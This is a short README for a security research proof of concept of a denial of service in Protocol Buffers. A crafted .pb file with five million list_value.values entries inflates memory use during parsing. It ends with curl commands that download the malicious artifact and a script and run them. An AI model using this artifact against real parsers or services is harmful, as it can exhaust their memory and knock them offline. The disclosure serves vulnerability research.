hacnho/protobuf-value-listvalue-values-dos-poc

Protocol Buffers Value list_value.values materialization DoS PoC

This repository contains a benign security research PoC for a .pb artifact that drives repeated-message materialization during struct_pb2.Value.ParseFromString(...).

Files:

• control_one_string_value.pb
• malicious_values_5000000.pb
• reproduce.py

Observed behavior:

• control artifact:
  • parses successfully with one string_value
• malicious artifact:
  • parses successfully with 5,000,000 list_value.values entries
  • materially increases peak RSS during normal parse

Tested runtime:

python3 -m pip install protobuf==7.35.1

Public reproduction:

curl -L -O https://huggingface.co/hacnho/protobuf-value-listvalue-values-dos-poc/resolve/main/control_one_string_value.pb
curl -L -O https://huggingface.co/hacnho/protobuf-value-listvalue-values-dos-poc/resolve/main/malicious_values_5000000.pb
curl -L -O https://huggingface.co/hacnho/protobuf-value-listvalue-values-dos-poc/resolve/main/reproduce.py
python3 reproduce.py --control control_one_string_value.pb --malicious malicious_values_5000000.pb